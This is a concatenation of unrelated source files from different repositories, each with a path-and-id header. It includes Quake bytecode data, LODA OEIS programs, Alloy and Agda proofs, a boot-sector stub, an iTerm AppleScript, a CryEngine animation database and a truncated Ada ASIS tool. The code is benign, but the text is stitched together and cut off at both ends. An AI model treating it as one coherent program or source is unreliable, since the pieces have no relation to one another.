LABELV $81
byte 1 115
byte 1 111
byte 1 117
byte 1 110
byte 1 100
byte 1 47
byte 1 102
byte 1 101
byte 1 101
byte 1 100
byte 1 98
byte 1 97
byte 1 99
byte 1 107
byte 1 47
byte 1 97
byte 1 99
byte 1 99
byte 1 117
byte 1 114
byte 1 97
byte 1 99
byte 1 121
byte 1 46
byte 1 119
byte 1 97
byte 1 118
byte 1 0
align 1
LABELV $80
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 115
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 95
byte 1 118
byte 1 105
byte 1 99
byte 1 116
byte 1 111
byte 1 114
byte 1 121
byte 1 0
align 1
LABELV $79
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 115
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 95
byte 1 102
byte 1 114
byte 1 97
byte 1 103
byte 1 115
byte 1 0
align 1
LABELV $78
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 115
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 95
byte 1 103
byte 1 97
byte 1 117
byte 1 110
byte 1 116
byte 1 108
byte 1 101
byte 1 116
byte 1 0
align 1
LABELV $77
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 115
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 95
byte 1 101
byte 1 120
byte 1 99
byte 1 101
byte 1 108
byte 1 108
byte 1 101
byte 1 110
byte 1 116
byte 1 0
align 1
LABELV $76
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 115
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 95
byte 1 105
byte 1 109
byte 1 112
byte 1 114
byte 1 101
byte 1 115
byte 1 115
byte 1 105
byte 1 118
byte 1 101
byte 1 0
align 1
LABELV $75
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 115
byte 1 47
byte 1 109
byte 1 101
byte 1 100
byte 1 97
byte 1 108
byte 1 95
byte 1 97
byte 1 99
byte 1 99
byte 1 117
byte 1 114
byte 1 97
byte 1 99
byte 1 121
byte 1 0
align 1
LABELV $74
byte 1 80
byte 1 101
byte 1 114
byte 1 102
byte 1 101
byte 1 99
byte 1 116
byte 1 0
align 1
LABELV $73
byte 1 70
byte 1 114
byte 1 97
byte 1 103
byte 1 115
byte 1 0
align 1
LABELV $72
byte 1 71
byte 1 97
byte 1 117
byte 1 110
byte 1 116
byte 1 108
byte 1 101
byte 1 116
byte 1 0
align 1
LABELV $71
byte 1 69
byte 1 120
byte 1 99
byte 1 101
byte 1 108
byte 1 108
byte 1 101
byte 1 110
byte 1 116
byte 1 0
align 1
LABELV $70
byte 1 73
byte 1 109
byte 1 112
byte 1 114
byte 1 101
byte 1 115
byte 1 115
byte 1 105
byte 1 118
byte 1 101
byte 1 0
align 1
LABELV $69
byte 1 65
byte 1 99
byte 1 99
byte 1 117
byte 1 114
byte 1 97
byte 1 99
byte 1 121
byte 1 0
|
oeis/041/A041087.asm | neoneye/loda-programs | 11 | 89422 | <filename>oeis/041/A041087.asm
; A041087: Denominators of continued fraction convergents to sqrt(51).
; Submitted by <NAME>(s2)
; 1,7,99,700,9899,69993,989801,6998600,98970201,699790007,9896030299,69972002100,989504059699,6996500419993,98940509939601,699580069997200,9893061489900401,69951010499300007,989207208480100499,6994401469860003500,98910827786520149499,699370195975501049993,9890093571443534849401,69930025196080244995800,988910446316566964790601,6992303149412048998530007,98881154538085252944210699,699160384916008819608004900,9887126543362208727456279299,69909046188451469911801959993,988613773181682787492683719201
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,2
mul $2,14
lpe
mov $0,$2
div $0,14
|
oeis/225/A225804.asm | neoneye/loda-programs | 11 | 171355 | <gh_stars>10-100
; A225804: Arithmetic mean of the first n primes, rounded up.
; Submitted by Jon Maiga
; 2,3,4,5,6,7,9,10,12,13,15,17,19,21,22,24,26,28,30,32,34,36,38,41,43,45,47,49,52,54,56,58,61,63,66,68,70,73,75,78,80,83,85,88,90,92,95,98,100,103,105,108,110,113,116,118,121,124,126,129,131,134,137,139,142,145,148,150,153,156,159,162,164,167,170,173,176,179,181,184,187,190,193,196,199,201,204,207,210,213,216,219,221,224,227,230,233,236,239,242
mov $1,$0
add $0,1
seq $1,237589 ; Sum of first n odd noncomposite numbers.
div $1,$0
mov $0,$1
add $0,1
|
alloy4fun_models/trashltl/models/8/MwbXe3WqbLnGucoYt.als | Kaixi26/org.alloytools.alloy | 0 | 3094 | open main
pred idMwbXe3WqbLnGucoYt_prop9 {
all p : Protected | p not in Trash'
}
pred __repair { idMwbXe3WqbLnGucoYt_prop9 }
check __repair { idMwbXe3WqbLnGucoYt_prop9 <=> prop9o } |
UNKNOWN_0.asm | Mario9501/MLG-OS | 0 | 172300 | ;
; A boot sector that prints a string using our function
;
[org 0x7c00] ;Tell assembler where this code will be loaded.
mov bx, HELLO_MSG ;use BX as a parameter to our function, so
call print_string ;we can specify a address of a string.
mov bx, GOODBYE_MSG
call print_string
jmp $ ; kill the computer or hang it.
|
code_sender/iterm/iterm.applescript | fredcallaway/SendCode | 0 | 1601 | on run argv
tell application "iTerm2"
tell the current window to tell current session
set cmd to (item 1 of argv) as string
set commit to ((item 2 of argv) as string is "True")
set start_pos to 1
set len to length of cmd
if len is greater than 1000 then
set end_pos to 1000
else
set end_pos to len
end if
if len is greater than 0 then
repeat
write text (text start_pos thru end_pos of cmd) without newline
-- write text is not synchronized?
delay 0.2
if end_pos is len then
exit repeat
else
set start_pos to end_pos + 1
if len is greater than end_pos + 1000 then
set end_pos to end_pos + 1000
else
set end_pos to len
end if
end if
end repeat
end
if commit then
write text ""
end if
end tell
end
end run
|
Cubical/Algebra/Polynomials/Multivariate/Equiv/Poly1-Poly.agda | howsiyu/cubical | 0 | 4732 | {-# OPTIONS --safe --experimental-lossy-unification #-}
module Cubical.Algebra.Polynomials.Multivariate.Equiv.Poly1-Poly where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Isomorphism
open import Cubical.Data.Nat renaming (_+_ to _+n_; _·_ to _·n_)
open import Cubical.Data.Vec renaming ( [] to <> ; _∷_ to _::_)
open import Cubical.Algebra.Ring
open import Cubical.Algebra.CommRing
open import Cubical.Algebra.Polynomials.Univariate.Base
open import Cubical.Algebra.Polynomials.Univariate.Properties
open import Cubical.Algebra.CommRing.Instances.UnivariatePoly
open import Cubical.Algebra.Polynomials.Multivariate.Base
open import Cubical.Algebra.Polynomials.Multivariate.Properties
open import Cubical.Algebra.CommRing.Instances.MultivariatePoly
private variable
ℓ : Level
module Equiv-Poly1-Poly: (A' : CommRing ℓ) where
private
A = fst A'
open PolyMod A'
renaming
( Poly to Poly:
; isSetPoly to isSetPoly:
)
open PolyModTheory A'
renaming
( 0P to 0P:
; Poly- to Poly:-
; _Poly+_ to _Poly:+_
; Poly+Lid to Poly:+Lid
; Poly+Rid to Poly:+Rid
; Poly+Assoc to Poly:+Assoc
; Poly+Inverses to Poly:+Inverses
; Poly+Comm to Poly:+Comm
; _Poly*_ to _Poly:*_
; 1P to 1P:
; 0PRightAnnihilates to 0PRightAnnihilates:
; 0PLeftAnnihilates to 0PLeftAnnihilates:
; Poly*Lid to Poly:*Lid
; Poly*Rid to Poly:*Rid
; Poly*Associative to Poly:*Assoc
; Poly*Commutative to Poly:*Comm
; prod-Xn-0P to prod-Xn-0P:
)
open Nth-Poly-structure A' 1
-- Notation P, Q, R... for Poly 1
-- x, y, w... for Poly:
-- a,b,c... for A
-----------------------------------------------------------------------------
-- direct
trad-base : (v : Vec ℕ 1) → A → Poly:
trad-base (n :: <>) a = prod-Xn n [ a ]
trad-base-neutral : (v : Vec ℕ 1) → trad-base v 0r ≡ []
trad-base-neutral (n :: <>) = cong (prod-Xn n) drop0 ∙ prod-Xn-0P: n
trad-base-add : (v : Vec ℕ 1) → (a b : A) → (trad-base v a) Poly:+ (trad-base v b) ≡ trad-base v (a + b)
trad-base-add (n :: <>) a b = prod-Xn-sum n (a ∷ []) (b ∷ [])
Poly1→Poly: : Poly A' 1 → Poly:
Poly1→Poly: = Poly-Rec-Set.f A' 1 Poly: isSetPoly:
[]
trad-base
(λ x y → x Poly:+ y)
Poly:+Assoc
Poly:+Rid
Poly:+Comm
trad-base-neutral
trad-base-add
Poly1→Poly:-gmorph : (P Q : Poly A' 1) → Poly1→Poly: (P Poly+ Q) ≡ (Poly1→Poly: P) Poly:+ (Poly1→Poly: Q)
Poly1→Poly:-gmorph P Q = refl
-----------------------------------------------------------------------------
-- converse
Poly:→Poly1-int : (n : ℕ) → Poly: → Poly A' 1
Poly:→Poly1-int n [] = 0P
Poly:→Poly1-int n (a ∷ x) = (base (n :: <>) a) Poly+ Poly:→Poly1-int (suc n) x
Poly:→Poly1-int n (drop0 i) = ((cong (λ X → X Poly+ 0P) (base-0P (n :: <>))) ∙ (Poly+-Rid 0P)) i
Poly:→Poly1 : Poly: → Poly A' 1
Poly:→Poly1 x = Poly:→Poly1-int 0 x
Poly:→Poly1-int-gmorph : (x y : Poly:) → (n : ℕ) → Poly:→Poly1-int n (x Poly:+ y) ≡ (Poly:→Poly1-int n x) Poly+ (Poly:→Poly1-int n y)
Poly:→Poly1-int-gmorph = ElimProp.f
(λ x → (y : Poly:) → (n : ℕ) → Poly:→Poly1-int n (x Poly:+ y) ≡ (Poly:→Poly1-int n x Poly+ Poly:→Poly1-int n y))
(λ y n → (cong (Poly:→Poly1-int n) (Poly:+Lid y)) ∙ (sym (Poly+-Lid (Poly:→Poly1-int n y))))
(λ a x ind-x → ElimProp.f
(λ y → (n : ℕ) → Poly:→Poly1-int n ((a ∷ x) Poly:+ y) ≡ (Poly:→Poly1-int n (a ∷ x) Poly+ Poly:→Poly1-int n y))
(λ n → sym (Poly+-Rid (Poly:→Poly1-int n (a ∷ x))))
(λ b y ind-y n → sym (
(Poly-com-adv (base (n :: <>) a) (Poly:→Poly1-int (suc n) x) (base (n :: <>) b) (Poly:→Poly1-int (suc n) y))
∙
(cong₂ _Poly+_ (base-Poly+ (n :: <>) a b) (sym (ind-x y (suc n))))) )
λ {y} p q i n j → trunc
(Poly:→Poly1-int n ((a ∷ x) Poly:+ y))
(Poly:→Poly1-int n (a ∷ x) Poly+ Poly:→Poly1-int n y)
(p n) (q n) i j )
λ {x} p q i y n j → trunc (Poly:→Poly1-int n (x Poly:+ y)) (Poly:→Poly1-int n x Poly+ Poly:→Poly1-int n y) (p y n) (q y n) i j
Poly:→Poly1-gmorph : (x y : Poly:) → Poly:→Poly1 (x Poly:+ y) ≡ (Poly:→Poly1 x) Poly+ (Poly:→Poly1 y)
Poly:→Poly1-gmorph x y = Poly:→Poly1-int-gmorph x y 0
-----------------------------------------------------------------------------
-- section
e-sect-int : (x : Poly:) → (n : ℕ) → Poly1→Poly: (Poly:→Poly1-int n x) ≡ prod-Xn n x
e-sect-int = ElimProp.f
(λ z → (n : ℕ) → Poly1→Poly: (Poly:→Poly1-int n z) ≡ prod-Xn n z)
(λ n → sym (prod-Xn-0P: n))
(λ a x ind-x n → ((prod-Xn n [ a ] ) Poly:+ (Poly1→Poly: (Poly:→Poly1-int (suc n) x)))
≡⟨ cong (λ X → prod-Xn n [ a ] Poly:+ X) (ind-x (suc n)) ⟩
(prod-Xn n (a ∷ []) Poly:+ ( 0r ∷ prod-Xn n x))
≡⟨ prod-Xn-∷ n a x ⟩
prod-Xn n (a ∷ x) ∎)
(λ {x} p q i n j → isSetPoly: (Poly1→Poly: (Poly:→Poly1-int n x)) (prod-Xn n x) (p n) (q n) i j)
e-sect : (x : Poly:) → Poly1→Poly: (Poly:→Poly1 x) ≡ x
e-sect x = e-sect-int x 0
-----------------------------------------------------------------------------
-- retraction
idde : (m n : ℕ) → (a : A) → Poly:→Poly1-int n (prod-Xn m [ a ]) ≡ base ((n +n m) :: <>) a
idde zero n a = Poly+-Rid (base (n :: <>) a) ∙ cong (λ X → base (X :: <>) a) (sym (+-zero n))
idde (suc m) n a = cong (λ X → X Poly+ Poly:→Poly1-int (suc n) (prod-Xn m (a ∷ []))) (base-0P (n :: <>))
∙ Poly+-Lid (Poly:→Poly1-int (suc n) (prod-Xn m (a ∷ [])))
∙ idde m (suc n) a
∙ cong (λ X → base (X :: <>) a) (sym (+-suc n m))
idde-v : (v : Vec ℕ 1) → (a : A) → Poly:→Poly1-int 0 (trad-base v a) ≡ base v a
idde-v (n :: <>) a = (idde n 0 a)
e-retr : (P : Poly A' 1) → Poly:→Poly1 (Poly1→Poly: P) ≡ P
e-retr = Poly-Ind-Prop.f A' 1
(λ P → Poly:→Poly1 (Poly1→Poly: P) ≡ P)
(λ _ → trunc _ _)
refl
(λ v a → idde-v v a)
λ {P Q} ind-P ind-Q → cong Poly:→Poly1 (Poly1→Poly:-gmorph P Q)
∙
Poly:→Poly1-gmorph (Poly1→Poly: P) (Poly1→Poly: Q)
∙
cong₂ _Poly+_ ind-P ind-Q
-----------------------------------------------------------------------------
-- Ring morphism
map-1P : Poly1→Poly: 1P ≡ 1P:
map-1P = refl
trad-base-prod : (v v' : Vec ℕ 1) → (a a' : A) → trad-base (v +n-vec v') (a · a') ≡
(trad-base v a Poly:* trad-base v' a')
trad-base-prod (k :: <>) (l :: <>) a a' = sym ((prod-Xn-prod k l [ a ] [ a' ]) ∙ cong (λ X → prod-Xn (k +n l) [ X ]) (+Rid (a · a')))
Poly1→Poly:-rmorph : (P Q : Poly A' 1) → Poly1→Poly: (P Poly* Q) ≡ (Poly1→Poly: P) Poly:* (Poly1→Poly: Q)
Poly1→Poly:-rmorph = Poly-Ind-Prop.f A' 1
(λ P → (Q : Poly A' 1) → Poly1→Poly: (P Poly* Q) ≡ (Poly1→Poly: P Poly:* Poly1→Poly: Q))
(λ P p q i Q j → isSetPoly: (Poly1→Poly: (P Poly* Q)) (Poly1→Poly: P Poly:* Poly1→Poly: Q) (p Q) (q Q) i j)
(λ Q → refl)
(λ v a → Poly-Ind-Prop.f A' 1
(λ P → Poly1→Poly: (base v a Poly* P) ≡ (Poly1→Poly: (base v a) Poly:* Poly1→Poly: P))
(λ _ → isSetPoly: _ _)
(sym (0PLeftAnnihilates: (trad-base v a)))
(λ v' a' → trad-base-prod v v' a a')
λ {U V} ind-U ind-V → (cong₂ _Poly:+_ ind-U ind-V)
∙ sym (Poly*LDistrPoly+ (Poly1→Poly: (base v a)) (Poly1→Poly: U) (Poly1→Poly: V)))
λ {U V} ind-U ind-V Q → (cong₂ _Poly:+_ (ind-U Q) (ind-V Q))
∙ sym (Poly*RDistrPoly+ (Poly1→Poly: U) (Poly1→Poly: V) (Poly1→Poly: Q))
-- -----------------------------------------------------------------------------
-- -- Ring Equivalences
module _ (A' : CommRing ℓ) where
open Equiv-Poly1-Poly: A'
CRE-Poly1-Poly: : CommRingEquiv (PolyCommRing A' 1) (UnivariatePoly A')
fst CRE-Poly1-Poly: = isoToEquiv is
where
is : Iso _ _
Iso.fun is = Poly1→Poly:
Iso.inv is = Poly:→Poly1
Iso.rightInv is = e-sect
Iso.leftInv is = e-retr
snd CRE-Poly1-Poly: = makeIsRingHom map-1P Poly1→Poly:-gmorph Poly1→Poly:-rmorph
|
tests/fn_le/22.asm | NullMember/customasm | 414 | 105416 | <gh_stars>100-1000
#d le(0) ; error: unsized |
assets/chrysalis/characters/human/male/male.adb | ivanhawkes/Chrysalis | 59 | 19343 | <filename>assets/chrysalis/characters/human/male/male.adb
<AnimDB FragDef="chrysalis/characters/human/male/male_fragment_ids.xml" TagDef="chrysalis/characters/human/male/male_tags.xml">
<FragmentList>
<Idle>
<Fragment BlendOutDuration="0.2" Tags="Alerted+ScopeLookPose">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="Unaware">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="stand_relaxed_idle" flags="Loop"/>
</AnimLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="Crouching+ScopeLookPose">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="Crouching">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="crouch_idle"/>
</AnimLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="Crouching">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="crouch_idle_v2"/>
</AnimLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="ScopeLookPose">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="stand_relaxed_idle" flags="Loop"/>
</AnimLayer>
</Fragment>
</Idle>
<Move>
<Fragment BlendOutDuration="0.2" Tags="Crouching">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="bspace_2d_move_strafe_crouch" flags="Loop"/>
</AnimLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="ScopeLookPose">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="bspace_2d_move_strafe" flags="Loop"/>
</AnimLayer>
</Fragment>
</Move>
<Interaction>
<Fragment BlendOutDuration="0.2" Tags="ScopeSlave">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="crouchwalk_l"/>
</AnimLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="ScopeLookPose">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="picking_up_object"/>
</AnimLayer>
</Fragment>
</Interaction>
<Emote>
<Fragment BlendOutDuration="0.2" Tags="Awe">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="crouch_r_90"/>
</AnimLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="Apathy">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="crouch_l_135"/>
</AnimLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="ScopeLookPose">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags="">
<AnimLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.2"/>
<Animation name="crouch_to_crouchwalk_b"/>
</AnimLayer>
</Fragment>
</Emote>
<Looking>
<Fragment BlendOutDuration="0.2" Tags="ScopeLooking">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags=""/>
</Looking>
<LookPose>
<Fragment BlendOutDuration="0.2" Tags="ScopeLookPose">
<ProcLayer>
<Blend ExitTime="0" StartTime="0" Duration="0.30000001"/>
<Procedural type="Looking">
<ProceduralParams CryXmlVersion="2"/>
</Procedural>
</ProcLayer>
</Fragment>
<Fragment BlendOutDuration="0.2" Tags=""/>
</LookPose>
</FragmentList>
</AnimDB>
|
examples/examplesPaperJFP/CatTerm.agda | agda/ooAgda | 23 | 15902 | <reponame>agda/ooAgda
module examplesPaperJFP.CatTerm where
open import examplesPaperJFP.BasicIO hiding (main)
open import examplesPaperJFP.Console hiding (main)
open import examplesPaperJFP.NativeIOSafe
cat : IO ConsoleInterface Unit
force cat =
exec′ getLine λ{ nothing → return unit ; (just line) → delay (
exec′ (putStrLn line) λ _ →
cat )}
|
test/asset/agda-stdlib-1.0/Data/Container/Properties.agda | omega12345/agda-mode | 5 | 16781 | <gh_stars>1-10
------------------------------------------------------------------------
-- The Agda standard library
--
-- Properties of operations on containers
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Container.Properties where
import Function as F
open import Relation.Binary
open import Data.Container.Core
open import Data.Container.Relation.Binary.Equality.Setoid
module _ {s p} {C : Container s p} where
map-identity : ∀ {x e} (X : Setoid x e) xs →
Eq X C (map F.id xs) xs
map-identity X xs = refl X C
map-compose : ∀ {x y z e} {X : Set x} {Y : Set y} (Z : Setoid z e) g (f : X → Y) xs →
Eq Z C (map g (map f xs)) (map (g F.∘′ f) xs)
map-compose Z g f xs = refl Z C
|
src/frontend/Experimental_Ada_ROSE_Connection/dot_asis/dot_asis_library/source/asis_tool_2-element.adb | sourceryinstitute/rose-sourcery-institute | 0 | 2197 | <reponame>sourceryinstitute/rose-sourcery-institute
with Asis.Clauses;
with Asis.Compilation_Units;
with Asis.Declarations;
with Asis.Definitions;
with Asis.Elements;
with Asis.Expressions;
with Asis.Exceptions;
with Asis.Iterator;
with Asis.Statements;
-- GNAT-specific:
with Asis.Set_Get;
with Asis.Text;
package body Asis_Tool_2.Element is
Module_Name : constant String := "Asis_Tool_2.Element";
-- String
procedure Add_To_Dot_Label
(This : in out Class;
Name : in String;
Value : in String) is
begin
Add_To_Dot_Label (Dot_Label => This.Dot_Label,
Outputs => This.Outputs,
Name => Name,
Value => Value);
end;
-- Wide_String
-- Add <Name> => <Value> to the label, and print it if trace is on:
procedure Add_To_Dot_Label
(This : in out Class;
Name : in String;
Value : in Wide_String) is
begin
This.Add_To_Dot_Label (Name, To_String (Value));
end;
-- Element_ID
-- Add <Name> => <Value> to the label, and print it if trace is on:
procedure Add_To_Dot_Label
(This : in out Class;
Name : in String;
Value : in a_nodes_h.Element_ID) is
begin
This.Add_To_Dot_Label (Name, To_String (Value));
end;
-- Boolean
-- Add <Name> => <Value> to the label, and print it if trace is on:
procedure Add_To_Dot_Label
(This : in out Class;
Name : in String;
Value : in Boolean) is
begin
Add_To_Dot_Label (Dot_Label => This.Dot_Label,
Outputs => This.Outputs,
Name => Name,
Value => Value);
end;
-- String:
-- Add <Value> to the label, and print it if trace is on:
procedure Add_To_Dot_Label
(This : in out Class;
Value : in String) is
begin
Add_To_Dot_Label (Dot_Label => This.Dot_Label,
Outputs => This.Outputs,
Value => Value);
end;
-- Add to dot label: ASIS_PROCESSING => "NOT_IMPLEMENTED_COMPLETELY"
procedure Add_Not_Implemented
(This : in out Class) is
begin
This.Add_To_Dot_Label ("ASIS_PROCESSING", String'("NOT_IMPLEMENTED_COMPLETELY"));
This.Outputs.A_Nodes.Add_Not_Implemented;
end Add_Not_Implemented;
procedure Add_Dot_Edge
(This : in out Class;
From : in a_nodes_h.Element_ID;
To : in a_nodes_h.Element_ID;
Label : in String)
is
begin
Add_Dot_Edge (Outputs => This.Outputs,
From => From,
From_Kind => Element_ID_Kind,
To => To,
To_Kind => Element_ID_Kind,
Label => Label);
end Add_Dot_Edge;
-- Add an edge and a dot label:
procedure Add_To_Dot_Label_And_Edge
(This : in out Class;
Label : in String;
To : in a_nodes_h.Element_ID) is
begin
This.Add_To_Dot_Label (Label, To_String (To));
This.Add_Dot_Edge (From => This.Element_IDs.First_Element,
To => To,
Label => Label);
end Add_To_Dot_Label_And_Edge;
-----------------------------------------------------------------------------
-- Element_ID support
------------
-- EXPORTED:
------------
function Get_Element_ID
(Element : in Asis.Element)
return Element_ID
is
((Node_ID => Asis.Set_Get.Node_Value (Element),
Kind => Asis.Set_Get.Int_Kind (Element)));
------------
-- EXPORTED:
------------
function To_Element_ID
(This : in Element_ID)
return a_nodes_h.Element_ID
is
Result : Integer;
begin
Result := Integer (This.Node_ID) * 1000 +
A4G.Int_Knds.Internal_Element_Kinds'Pos(This.Kind);
return a_nodes_h.Element_ID (Result);
end To_Element_ID;
------------
-- EXPORTED:
------------
function Get_Element_ID
(Element : in Asis.Element)
return a_nodes_h.Element_ID
is
(To_Element_ID (Get_Element_ID (Element)));
------------
-- EXPORTED:
------------
function To_String
(This : in a_nodes_h.Element_ID)
return String
is
(To_String (This, Element_ID_Kind));
-- END Element_ID support
-----------------------------------------------------------------------------
------------
-- EXPORTED:
------------
function To_Element_ID_List
(Dot_Label : in out Dot.HTML_Like_Labels.Class;
Outputs : in out Outputs_Record;
This_Element_ID : in a_nodes_h.Element_ID;
Elements_In : in Asis.Element_List;
Dot_Label_Name : in String;
Add_Edges : in Boolean := False;
This_Is_Unit : in Boolean := False)
return a_nodes_h.Element_ID_List
is
Element_Count : constant Natural := Elements_In'Length;
IDs : anhS.Element_ID_Array_Access := new
anhS.Element_ID_Array (1 .. Element_Count);
IDs_Index : Positive := IDs'First;
begin
for Element of Elements_In loop
declare
Element_ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Element);
Label : constant String :=
Dot_Label_Name & " (" & IDs_Index'Image & ")";
begin
IDs (IDs_Index) := Element_ID;
Add_To_Dot_Label (Dot_Label => Dot_Label,
Outputs => Outputs,
Name => Label,
Value => To_String (Element_ID));
if Add_Edges then
Add_Dot_Edge (Outputs => Outputs,
From => This_Element_ID,
From_Kind => (if This_Is_Unit
then Unit_Id_Kind
else Element_ID_Kind),
To => Element_ID,
To_Kind => Element_ID_Kind,
Label => Label);
end if;
IDs_Index := IDs_Index + 1;
end;
end loop;
return
(length => Interfaces.C.int(Element_Count),
IDs => anhS.To_Element_ID_Ptr (IDs));
end To_Element_ID_List;
function To_Element_ID_List
(This : in out Class;
Elements_In : in Asis.Element_List;
Dot_Label_Name : in String;
Add_Edges : in Boolean := False)
return a_nodes_h.Element_ID_List is
begin
return To_Element_ID_List (Dot_Label => This.Dot_Label,
Outputs => This.Outputs,
This_Element_ID => This.Element_IDs.First_Element,
Elements_In => Elements_In,
Dot_Label_Name => Dot_Label_Name,
Add_Edges => Add_Edges);
end To_Element_ID_List;
procedure Add_Element_List
(This : in out Class;
Elements_In : in Asis.Element_List;
Dot_Label_Name : in String;
List_Out : out a_nodes_h.Element_ID_List;
Add_Edges : in Boolean := False) is
begin
List_Out := To_Element_ID_List (This => This,
Elements_In => Elements_In,
Dot_Label_Name => Dot_Label_Name,
Add_Edges => Add_Edges);
end Add_Element_List;
function Add_Operator_Kind
(State : in out Class;
Element : in Asis.Element)
return a_nodes_h.Operator_Kinds
is
Operator_Kind : constant Asis.Operator_Kinds :=
Asis.Elements.Operator_Kind (Element);
begin
State.Add_To_Dot_Label ("Operator_Kind", Operator_Kind'Image);
return anhS.To_Operator_Kinds (Operator_Kind);
end;
package Pre_Children is
procedure Process_Element
(Element : in Asis.Element;
Control : in out Asis.Traverse_Control;
State : in out Class);
end Pre_Children;
package body Pre_Children is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Pre_Children";
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Pragma
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Pragma";
Pragma_Kind : Asis.Pragma_Kinds :=
Asis.Elements.Pragma_Kind (Element);
begin
-- A_Pragma -> Pragma_Kinds
--
State.Add_To_Dot_Label
(Name => "Pragma_Kind",
Value => Pragma_Kind'Image);
State.Add_Not_Implemented;
end Process_Pragma;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Defining_Name
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Defining_Name";
Result : a_nodes_h.Defining_Name_Struct :=
a_nodes_h.Support.Default_Defining_Name_Struct;
Defining_Name_Kind : Asis.Defining_Name_Kinds :=
Asis.Elements.Defining_Name_Kind (Element);
-- Supporting procedures are in alphabetical order:
procedure Add_Defining_Name_Image is
WS : constant Wide_String := Asis.Declarations.Defining_Name_Image (Element);
begin
State.Add_To_Dot_Label ("Defining_Name_Image", To_Quoted_String (WS));
Result.Defining_Name_Image := To_Chars_Ptr(WS);
end;
procedure Add_Defining_Prefix is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Defining_Prefix (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Defining_Prefix", ID);
Result.Defining_Prefix := ID;
end;
procedure Add_Defining_Selector is
ID : constant a_nodes_h.Element_ID :=
